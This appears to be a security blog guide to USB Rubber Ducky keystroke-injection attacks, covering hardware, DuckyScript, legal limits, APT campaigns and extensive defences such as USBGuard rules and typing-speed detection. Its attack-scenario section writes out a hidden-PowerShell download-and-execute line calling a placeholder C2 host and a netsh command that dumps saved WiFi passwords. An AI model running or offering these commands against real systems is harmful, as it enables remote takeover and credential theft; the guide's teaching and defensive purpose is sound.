You find a USB drive labeled “CEO Salary 2026” in the parking lot. Curiosity wins. You plug it in. Within three seconds, your passwords vanish. You clicked nothing. You approved nothing. What happened?
This is the classic “Candy Drop” scenario that security professionals use to demonstrate one of the most elegant attack vectors in modern penetration testing. While organizations spend millions on firewalls, intrusion detection systems, and endpoint protection, the USB Rubber Ducky bypasses all of it by exploiting something far more fundamental: the implicit trust computers place in keyboards.
Your operating system has no firewall for keyboard input. If you can type it, the OS will execute it. The USB Rubber Ducky weaponizes this architectural trust by masquerading as a Human Interface Device rather than a storage drive. It hacks systems by mimicking the one peripheral your computer is programmed never to question.
The threat is not theoretical. According to Honeywell’s 2024 USB Threat Report, 51% of malware attacks are now designed specifically for USB devices—a six-fold increase from 9% in 2019. State-sponsored threat groups including China’s Camaro Dragon and Russia’s Gamaredon actively leverage USB devices as primary infection vectors. In Q1 2025 alone, one in four cybersecurity incidents handled by industrial response teams involved USB plug-and-play events.
This guide breaks down the mechanics, hardware ecosystem, scripting language, real-world attack scenarios, and defensive countermeasures every security practitioner needs to understand.
Understanding HID Spoofing: The Foundation of Keyboard Attacks
Technical Definition
HID Spoofing occurs when a USB device identifies itself to the host computer as a Human Interface Device—specifically a keyboard or mouse—rather than a mass storage device. The operating system accepts this self-declaration at face value because USB device enumeration relies on trust rather than verification.
The Analogy
Picture a bank robber wearing the uniform of a high-ranking security guard. The vault opens because the uniform (the Device ID) is inherently trusted. Nobody verifies the person inside the uniform. The USB Rubber Ducky operates on identical principles—it wears the “uniform” of a keyboard, and every operating system opens the vault.
Under the Hood
When the Rubber Ducky connects to a target machine, a precise handshake sequence unfolds in milliseconds. The device announces specific identifiers that determine how the operating system responds.
| Phase | Action | Technical Detail |
|---|---|---|
| Connection | Physical USB insertion | Device provides power draw signature |
| Enumeration | Device announces identity | Sends Vendor ID (VID) and Product ID (PID) as generic HID Keyboard |
| Driver Load | OS loads input drivers | Standard HID drivers activate automatically—no user prompt |
| Trust Establishment | System accepts input | All subsequent keystrokes treated as legitimate user input |
The critical vulnerability lies in Phase 3. Operating systems—Windows, macOS, and Linux alike—automatically load standard HID keyboard drivers without requiring user permission. This design choice enables plug-and-play convenience for legitimate peripherals but creates an exploitable trust gap for malicious devices.
Pro-Tip: Organizations that implement “Disable USB Storage” policies believe they are protected. They are not. That policy blocks mass storage devices exclusively. A device announcing itself as a keyboard passes through without inspection because it never claims storage capability.
Keystroke Injection: Speed Weaponized
Technical Definition
Keystroke injection is the automated delivery of pre-programmed keyboard commands at superhuman speeds—frequently exceeding 1,000 words per minute. The technique transforms physical access into remote code execution by typing commands faster than any human could.
The Analogy
Imagine hiring the world’s fastest typist, handing them a specific script, and having them execute it the exact millisecond they gain keyboard access. That typist works for three dollars and never makes mistakes. That is what keystroke injection delivers.
Under the Hood
Once the operating system recognizes the “keyboard,” the Rubber Ducky sends digital scan codes representing specific keypresses. These codes follow the USB HID specification exactly—the OS cannot distinguish them from legitimate human input.
| Scan Code Type | Example | System Response |
|---|---|---|
| Modifier Keys | GUI (Windows key), ALT, CTRL | Opens system functions, triggers shortcuts |
| Alphanumeric | A-Z, 0-9 | Types characters into active window |
| Special Keys | ENTER, TAB, ESC | Executes commands, navigates interfaces |
| Combinations | GUI + R, CTRL + SHIFT + ESC | Triggers system dialogs, opens Task Manager |
The attack sequence typically follows a predictable pattern. First, the device opens a command interpreter (Run dialog, Terminal, PowerShell). Second, it types a payload—often a single command that downloads and executes malicious code. Third, it closes the window to eliminate visual evidence.
Critical Insight: The entire attack completes before most users register that anything happened. The Run dialog opens, commands type, and the window closes in under five seconds. Screen recording remains the most reliable forensic artifact.
The Hardware Ecosystem: Selecting Your Attack Platform
Security professionals have multiple hardware options for HID attacks. Each platform offers distinct advantages depending on engagement requirements, budget constraints, and operational security needs.
Hak5 USB Rubber Ducky
The professional standard for HID attacks. The current generation supports DuckyScript 3.0 with advanced logic, conditional execution, variables, and automatic OS detection. The device uses internal storage for multiple payloads and resembles an ordinary USB thumb drive.
| Specification | Detail |
|---|---|
| Form Factor | Standard USB drive appearance |
| Scripting | DuckyScript 3.0 with variables, loops, conditionals |
| Storage | MicroSD card for multiple payloads |
| OS Detection | Passive fingerprinting of Windows, macOS, Linux in ~1 second |
| Advanced Features | Keystroke Reflection, jitter, VID/PID spoofing |
| Price Range | $60–$80 USD |
Best Use Case: Professional penetration testing engagements where reliability and advanced payload capabilities justify the cost.
O.MG Cable
A weaponized USB cable that appears identical to standard charging cables. The O.MG platform embeds HID attack capabilities within the cable connector itself, making detection through visual inspection nearly impossible.
| Specification | Detail |
|---|---|
| Form Factor | Standard USB-A, USB-C, or Lightning cable appearance |
| Scripting | DuckyScript compatible via Wi-Fi configuration |
| Storage | Internal flash for payload storage |
| Connectivity | Built-in Wi-Fi for remote triggering and payload updates |
| Stealth | Passes visual and X-ray inspection as legitimate cable |
| Price Range | $120–$180 USD |
Best Use Case: Social engineering assessments and supply chain attack simulations where the attack vector must survive physical inspection.
Flipper Zero
A multi-tool device that includes dedicated BadUSB functionality. The Flipper stores DuckyScript files internally and allows payload selection via its screen interface. The tradeoff is form factor—the device does not blend into corporate environments.
| Specification | Detail |
|---|---|
| Form Factor | Handheld device with screen (conspicuous) |
| Scripting | DuckyScript compatible |
| Storage | Internal storage for multiple payloads |
| Additional Features | RFID, NFC, Sub-GHz, infrared |
| Price Range | $150–$200 USD |
Best Use Case: Security research labs, demonstrations, and multi-vector testing where the additional capabilities justify the form factor.
Digispark ATtiny85 (DIY)
A three-dollar microcontroller that transforms into an HID attack device through Arduino IDE programming. The board handles approximately 80% of standard injection tasks but lacks the storage capacity and advanced logic of purpose-built devices.
| Specification | Detail |
|---|---|
| Form Factor | Tiny exposed circuit board |
| Scripting | Arduino C (requires compilation) |
| Storage | Single payload, burned to firmware |
| Limitations | No advanced logic, limited keystroke speed |
| Price Range | $2–$5 USD |
Best Use Case: Disposable Red Team operations where hardware loss is expected. The negligible cost makes the Digispark ideal for high-risk physical drops where recovery is unlikely.
DuckyScript 3.0: The Language of HID Attacks
DuckyScript serves as the scripting language for keystroke injection attacks. Version 3.0 introduced significant capabilities that transformed simple macro execution into a full programming language with conditional logic, loops, and environmental awareness.
Basic Command Reference
Every DuckyScript payload builds from fundamental commands that map directly to keyboard actions.
| Command | Function | Example |
|---|---|---|
| DELAY | Pause execution (milliseconds) | DELAY 500 waits half a second |
| GUI | Windows/Command key | GUI r opens Run dialog |
| STRING | Type alphanumeric characters | STRING notepad types “notepad” |
| ENTER | Press Enter key | Executes typed commands |
| ALT | Alt key modifier | ALT F4 closes active window |
| REM | Comment (ignored) | REM This is a note |
| ATTACKMODE | Change device emulation | ATTACKMODE HID STORAGE enables dual mode |
DuckyScript 3.0 Advanced Features
The latest DuckyScript version introduced capabilities that dramatically expand attack sophistication.
| Feature | Function | Use Case |
|---|---|---|
| OS Detection | IF_OS WINDOWS / IF_OS MACOS | Deploy OS-specific payloads automatically |
| Variables | $MY_VAR = "value" | Store and manipulate data during execution |
| Loops | WHILE TRUE / END_WHILE | Repeat actions until condition met |
| Conditionals | IF / ELSE / END_IF | Branch execution based on environment |
| Keystroke Reflection | Automatic layout detection | Bypass keyboard layout mismatches |
| Jitter | Random delay insertion | Evade behavioral detection systems |
| VID/PID Spoofing | Custom device identifiers | Impersonate trusted keyboard models |
Anatomy of a Basic Payload
The following payload demonstrates fundamental DuckyScript structure. It opens Notepad and types a message—harmless but instructive.
REM Basic demonstration payload
DELAY 1000
GUI r
DELAY 500
STRING notepad
ENTER
DELAY 500
STRING Security assessment in progress.
Line-by-line breakdown:
REMprovides documentation (the device ignores this line)DELAY 1000waits one second for the OS to enumerate the deviceGUI ropens the Windows Run dialogDELAY 500allows the dialog to render before typingSTRING notepadtypes the application nameENTERlaunches NotepadDELAY 500waits for the application windowSTRINGtypes the payload message
Professional Workflow
Production payloads require encoding before deployment. The workflow follows a consistent pattern regardless of the specific hardware platform.
| Step | Action | Tool/Method |
|---|---|---|
| 1. Write | Create payload in text editor | Save as .txt file |
| 2. Validate | Test syntax and logic | Payload Studio IDE |
| 3. Encode | Convert text to binary | Encoder produces inject.bin |
| 4. Load | Transfer to device | Copy inject.bin to microSD |
| 5. Test | Execute in controlled environment | Verify against target OS |
| 6. Deploy | Execute against authorized target | Document results |
Critical Warning: Every DELAY value represents a potential point of failure. Systems with slower hardware, heavy CPU load, or aggressive security software may require longer delays. Test payloads against representative target configurations before deployment.
Professional Realities: What the Tutorials Skip
Real-world HID attacks encounter complications that demonstration videos conveniently omit. Understanding these failure modes separates effective operators from script kiddies.
The Keyboard Layout Problem
A payload written for US QWERTY keyboards produces garbage on French AZERTY systems. The scan codes map to physical key positions, not logical characters.
| US QWERTY Input | French AZERTY Output | Result |
|---|---|---|
STRING a | Types “q” | Command fails |
STRING powershell | Types “po,ershell” | Command fails |
STRING cmd | Types “c;d” | Command fails |
Solution: DuckyScript 3.0’s Keystroke Reflection feature solves this problem by detecting the target’s keyboard layout and adjusting scan codes automatically. Alternatively, professional payloads use universal ALT-codes (ASCII sequences) when targeting unknown layouts.
The Speed Trap
Injecting keystrokes faster than the operating system can process them causes payload failure. The Run dialog has an opening animation. PowerShell initializes before accepting input. Each window transition requires delay.
Common Failure Points:
- Commands typed before the Run dialog renders
- Second commands sent before first command executes
- Application startup consuming typed characters
Pro-Tip: Start development with generous delays (1000ms+). Optimize downward only after confirming reliability. A slow payload that works beats a fast payload that fails. DuckyScript 3.0’s jitter feature adds random microsecond variations to evade detection while maintaining reliability.
Legal Boundaries
Physical access to a computer does not grant legal access. Unauthorized use of HID attack devices violates computer fraud statutes in virtually every jurisdiction. In the United States, the Computer Fraud and Abuse Act criminalizes unauthorized access regardless of whether data is exfiltrated.
| Activity | Legal Status |
|---|---|
| Testing on your own equipment | Legal |
| Testing under authorized penetration test agreement | Legal |
| “Just checking” a colleague’s unlocked workstation | Illegal |
| Dropping devices in public areas | Illegal |
| Security research without written authorization | Illegal |
Red Team operators require explicit written authorization before deploying HID attacks. The authorization document should specify the scope of physical access testing, identify approved targets by hostname or location, and establish incident response contacts.
Real-World Attack Campaigns: APT Groups Using HID Vectors
State-sponsored threat actors have adopted USB-based attack vectors for operations against high-value targets. These documented campaigns demonstrate the technique’s effectiveness against sophisticated defenders.
Camaro Dragon (China-Nexus)
Security researchers documented this threat group using USB devices to deliver SOGU malware across multiple industries in 2023-2024. The campaign specifically targeted air-gapped networks in government and defense sectors where network-based attacks cannot reach.
Gamaredon (Russia-Nexus)
This threat actor leveraged USB propagation as a primary infection vector for espionage operations targeting Ukrainian organizations. The malware spreads automatically to any USB device connected to an infected system, creating a self-propagating attack chain.
UNC4990 Campaign (2024-2025)
Mandiant researchers tracked this financially-motivated group distributing cryptocurrency mining malware via USB devices. The campaign demonstrated that HID-style attacks extend beyond espionage to cybercrime operations targeting computational resources.
Key Takeaway: If nation-state threat actors invest resources in USB-based attack vectors, the technique works against defended targets. Defenders cannot dismiss physical attack vectors as “too difficult” or “too obvious.”
Attack Scenarios: Practical HID Techniques
Understanding real-world attack applications helps defenders anticipate threats and helps authorized testers demonstrate impact.
Reverse Shell Establishment
The payload opens PowerShell and executes a one-liner that connects the victim machine to an attacker-controlled server. Once established, the attacker has full remote command execution on the target system.
| Attack Phase | DuckyScript Action | System Effect |
|---|---|---|
| Shell Launch | GUI r → STRING powershell -w hidden → ENTER | Hidden PowerShell window opens |
| Payload Execution | STRING IEX(New-Object Net.WebClient).DownloadString('http://[C2]/shell.ps1') | Downloads and executes reverse shell |
| Cleanup | DELAY 2000 → STRING exit → ENTER | Closes visible evidence |
| Persistence | Remote attacker has interactive shell | Full system access achieved |
WiFi Credential Harvesting
Windows stores saved WiFi passwords in plain text accessible via command-line utilities. A simple payload extracts all stored credentials and exfiltrates them.
The command netsh wlan show profile name=* key=clear returns every saved network name and its associated password. Attackers combine this with output redirection to encode and exfiltrate data via DNS queries or HTTP POST requests to attacker infrastructure.
Security Awareness Demonstration
Harmless payloads serve valuable training purposes. A script that rotates the display 180 degrees via CTRL + ALT + DOWN demonstrates the vulnerability without causing damage. Users who experience a “prank” attack remember the lesson far longer than those who only hear warnings.
Blue Team Defense: Stopping HID Attacks
Defending against HID attacks requires layered controls spanning physical security, endpoint policy, and behavioral detection.
Physical Layer Controls
| Control | Implementation | Effectiveness |
|---|---|---|
| USB Port Blockers | Plastic inserts requiring physical key removal | Prevents casual insertion |
| USB Data Blockers | Charge-only adapters blocking data pins | Allows charging without HID functionality |
| Workstation Positioning | Ports facing away from public access | Increases attacker visibility |
| Port Epoxy | Permanent port disabling | Extreme but effective for kiosks |
Endpoint Policy Controls
Operating system configuration can restrict which devices receive automatic driver loading.
Windows Group Policy Path:
Computer Configuration → Administrative Templates → System → Device Installation → Device Installation Restrictions
Enable “Prevent installation of devices not described by other policy settings” and whitelist approved keyboard hardware IDs.
Linux USBGuard Implementation:
| Command | Function |
|---|---|
sudo usbguard generate-policy > /etc/usbguard/rules.conf | Generate initial allowlist from connected devices |
sudo usbguard list-devices | Display all recognized USB devices |
sudo usbguard allow-device [id] -p | Permanently allow specific device |
sudo usbguard block-device [id] -p | Permanently block specific device |
sudo systemctl enable --now usbguard | Enable USBGuard service |
Example USBGuard Rule (Block HID devices with storage interfaces):
reject with-interface all-of { 08:*:* 03:00:* }
reject with-interface all-of { 08:*:* 03:01:* }
Behavioral Detection
The most sophisticated defense monitors typing patterns for non-human characteristics. Legitimate users type at 40–80 words per minute with irregular cadence. HID attacks type at 1,000+ WPM with machine-perfect timing.
Detection Indicators:
| Indicator | Threshold | Response |
|---|---|---|
| Typing Speed | >200 WPM sustained | Lock workstation, alert SOC |
| Command Interpreter Launch | PowerShell/cmd within 5 seconds of USB insertion | Block execution, quarantine device |
| Keystroke Regularity | Zero variance in inter-key timing | Flag as automated input |
Several commercial EDR platforms—including CrowdStrike Falcon, SentinelOne, and Microsoft Defender for Endpoint—include HID attack detection capabilities. Open-source implementations exist for organizations building custom detection stacks.
Pro-Tip: Effective defense combines all three layers. Physical controls deter casual attacks. Policy controls block unknown devices. Behavioral detection catches sophisticated attackers who bypass the first two layers.
Conclusion
The USB Rubber Ducky persists as an effective attack tool because it exploits architectural trust rather than software vulnerabilities. Patches cannot fix the fundamental design decision that keyboards receive implicit trust from operating systems.
Physical access translates to total access when defenders ignore HID attack vectors. The 2024-2025 threat landscape confirms this reality—with state-sponsored groups actively leveraging USB-based attacks against hardened targets and 51% of industrial malware now designed for USB delivery.
For penetration testers, HID attacks demonstrate impact that executive stakeholders immediately understand. For defenders, implementing layered controls—physical blockers, device whitelisting via USBGuard or Group Policy, and behavioral detection through EDR platforms—addresses the threat systematically.
The USB drive in the parking lot should stay in the parking lot. Build defenses assuming your users will plug it in anyway.
Frequently Asked Questions (FAQ)
Can antivirus software detect a USB Rubber Ducky attack?
Traditional antivirus solutions scan files for malicious signatures—but the Ducky is a keyboard, not a file. The device injects keystrokes that execute legitimate system commands. Endpoint Detection and Response (EDR) platforms offer better protection by flagging suspicious behavior patterns like terminal windows spawning and executing commands at superhuman speed.
Is owning a USB Rubber Ducky illegal?
Possession of HID attack hardware is legal in most jurisdictions when intended for security research and authorized testing. The illegality begins with unauthorized use. Plugging a Rubber Ducky into systems you do not own or lack explicit authorization to test violates computer fraud laws regardless of intent.
What distinguishes a Rubber Ducky from BadUSB?
“Rubber Ducky” refers specifically to the Hak5 product line. “BadUSB” describes the general class of vulnerabilities where USB devices masquerade as different device types. All Rubber Duckies exploit BadUSB vulnerabilities, but BadUSB attacks can originate from any reprogrammed USB device including modified flash drives, smartphones, and even weaponized cables like the O.MG platform.
Can I build a Rubber Ducky alternative for free?
Not entirely free, but extremely cheap. Microcontrollers like the Digispark ATtiny85 ($3-5) or Arduino Pro Micro ($5-8) can be programmed for HID attacks using the Arduino IDE. These budget alternatives handle most standard injection tasks but lack the advanced scripting, storage, and reliability of purpose-built devices.
How fast can a Rubber Ducky type?
Professional devices inject keystrokes at rates exceeding 1,000 words per minute—roughly 15 times faster than a professional typist. This speed allows complex payloads to execute in seconds. However, actual attack speed depends on target system responsiveness and appropriate delay configuration between commands.
What is Keystroke Reflection in DuckyScript 3.0?
Keystroke Reflection automatically detects the target system’s keyboard layout and adjusts scan codes accordingly. This feature solves the keyboard layout problem where payloads written for US QWERTY keyboards fail on international layouts like French AZERTY or German QWERTZ.
Sources & Further Reading
- MITRE ATT&CK Framework, Technique T1200: Hardware Additions
- Hak5 Documentation: Official DuckyScript 3.0 Language Reference
- NIST Special Publication 800-53: Security and Privacy Controls (Access Control and Physical Security)
- CISA Security Tips: Using Caution with USB Drives (ST08-001)
- Honeywell 2024 USB Threat Report: Industrial Cybersecurity Analysis
- USBGuard Project Documentation: Linux USB Device Authorization Framework
- Red Hat Enterprise Linux Security Guide: Protecting Systems Against Intrusive USB Devices




